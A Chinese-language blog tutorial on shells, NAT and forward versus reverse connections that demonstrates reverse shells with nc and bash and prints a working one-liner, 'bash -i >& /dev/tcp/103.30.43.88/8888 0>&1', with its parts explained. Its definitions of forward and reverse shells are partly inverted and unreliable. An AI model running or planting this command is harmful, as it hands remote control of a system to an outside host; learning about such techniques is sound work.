shell与反弹shell

shell

shell是一个应用程序,它帮助我们与linux的内核建立了一个连接,来更加高效的使用lunix内核

更加通俗一点来说

我们点击桌面的这些图形化界面都是shell

简单来说,shell就是接收我们的一系列操作然后转化为计算机能够懂得的语言

类型

shell分为两大类

一个是命令行界面(CLI)一个是图像用户界面(GUI)

命令行界面(CLI)

这里就介绍两个了

linux里的bash

可以直接执行一些bash命令

比如ls和dir之类的

windows里的cmd

也可以执行一些cmd指令

比如whoami之类的

图像用户界面(GUI)

这个实际上就是我们的windows这个界面

能干啥我也不用说了

反弹shell

这里在说这个之前我们需要了解一些知识点

我们的电脑是怎样上网的

我们电脑本身在出场后会有内网IP

比如

这个192.168.176.1就是一个内网IP

然后我们会通过这个去连接上wife之类的

这个就是局域网IP

你连接之后路由器会帮你分配一个你自己的IP

路由器本身自己有两个IP

一个是内网IP一个是外网IP

这里内网IP

外网IP就是我们上网的关键,这里我们可以去网上查一下

直接搜索我的IP或者什么IP地址查询就欧克了

这里按我的理解来说一下为什么可以查询出来

首先我使用的wife就是在昆明的

我最终要真正上网最后是要通过公网来上网,然后它再通过这个公网IP去IP池里面去查询

然后反馈给我结果

这里又不得不提到一个叫NAT技术

就是网络地址转换

就是将一个私有IP转换到公有IP上

比如我连着wife正常情况下就是有一层NAT

但也可以同时具有多层NAT

正向连接

正向连接是一种常见的网络通信模式,其中客户端主动发起连接到服务器或目标系统。

正向连接通常用于客户端-服务器通信,客户端主动请求服务或资源,例如网页浏览、电子邮件发送和接收等。

在正向连接中,客户端充当主动方,向服务器发起连接请求,然后服务器接受并处理请求。

正向shell

正向shell 是指一种网络连接和通信模式,其中目标系统(通常是受害者)主动建立与控制系统或服务器的连接,以便远程执行命令。在正向 shell 中,目标系统充当客户端,主动连接到远程服务器或控制服务器,以接受命令并将结果返回。

正向 shell 通常用于合法的网络管理和维护操作,例如远程管理服务器。

比如直接nc连接就是一个正向shell

然后我们就可以执行一些操作

我们平时做题直接nc连接进去就是一个正向shell

然后找flag什么的,这里就不演示了

反向连接

反向连接是一种网络通信模式,其中目标系统(通常是受害者)主动建立与控制系统或服务器的连接。

反向连接通常用于合法的远程管理和控制,例如远程桌面会话、SSH远程管理等。

在反向连接中,目标系统充当客户端,主动连接到远程服务器或控制服务器,以接受命令并将结果返回。

这个也可以说是好多操作你桌面的木马的原理

反弹shell

反弹 shell 是指攻击者在目标系统上部署恶意代码或程序,使目标系统成为服务器,等待攻击者的系统或控制服务器主动连接。

攻击者充当客户端,建立到目标系统的连接。反弹 shell 通常用于渗透测试和攻击。

攻击者通过这种方式获得了对目标系统的远程访问和控制权。

这里进行一波简单的演示

这里就演示两种的反弹

一个是nc一个是bash

这里使用我自己的服务器和linux的虚拟机来做演示

nc

然后使用攻击机使用nc打开监听端口

这里使用我的服务器来做攻击机

使用被攻击机来连接攻击机,虚拟机是被攻击机

使用nc连接,这里解释一下这些参数是什么意思

-l 监听
-v 显示详细信息,两个v更详细
-p 本地端口号
-e 执行指定的程序

这里是连接成功了,执行下ls

也是ok了

bash

也是一样的操作,打开监听端口,注意这个端口是要开着的

然后打开虚拟机

这里因为虚拟机正常直接bash是不行的

它这个有点像是运行一个bash脚本的样子

这里我们需要先输入bash强制进入它的子shell

然后我们再输入那一串bash的反弹

现在这样应该就是连接上了

我们去服务器上看看

可以看见这里出现了我们kali里面的样式

输入一个ls看看

这个看来是在根目录下面

这里详细解释一下bash那一串是什么意思

bash -i >& /dev/tcp/103.30.43.88/8888 0>&1

先大体说一下这是用bash反弹shell会话到通过tcp连接到攻击机上

bash -i启动一个交互式的bash shell

交互式式反弹shell的前提,因为需要双向通信(输入命令+接收结果)

>& /dev/tcp/103.30.43.88/8888

将标准输出和标准错误重定向到tcp连接,也就是我们的服务器上

>&这一个就包括了标准输出和标准错误上

后面那一串就是利用bash虚拟文件系统特性将数据发送到我们监听的端口上

>&1将标准输入重定向到标准输出上

实现双向通信

posted @ 2025-05-08 22:11  crook666  阅读(297)  评论(0)    收藏  举报